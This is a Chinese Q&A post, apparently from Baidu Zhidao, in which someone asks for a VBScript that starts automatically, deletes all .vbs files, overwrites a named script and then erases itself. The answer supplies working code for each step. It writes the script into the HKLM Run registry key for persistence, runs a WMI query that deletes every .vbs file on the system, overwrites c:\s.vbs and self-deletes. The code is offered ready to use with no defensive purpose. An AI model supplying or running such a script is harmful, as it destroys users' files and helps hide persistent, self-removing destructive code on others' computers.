求vbs脚本代码---高手进

来源:百度知道 编辑:UC知道 时间:2024/05/23 20:35:59
第1个脚本功能.
能自动运行
运行时 自动寻找文件(***.vbs)并将其删除
2个.能自动编另一个脚本(***.vbs)并自动覆盖电脑里的同名文件(***.vbs)
3个.能够运行后删除自己
谢谢 高手

第一个:
set ws=createobject("wscript.shell")
ws.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\",wscript.scriptfullname,"REG_SZ"

Set WMI=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set Files=WMI.ExecQuery("Select * from CIM_DataFile where Extension = 'vbs'")
For Each File in Files
Wscript.Echo File.Name
File.Delete
Next

第二个:
set fso=createobject("scripting.filesystemobject")
set file=fso.createtextfile("c:\s.vbs",,true)'"c:\s.vbs"为你要覆盖的文件的路径
file.close

第三个:
createobject("scripting.filesystemobject").deletefile wscript.scriptfullname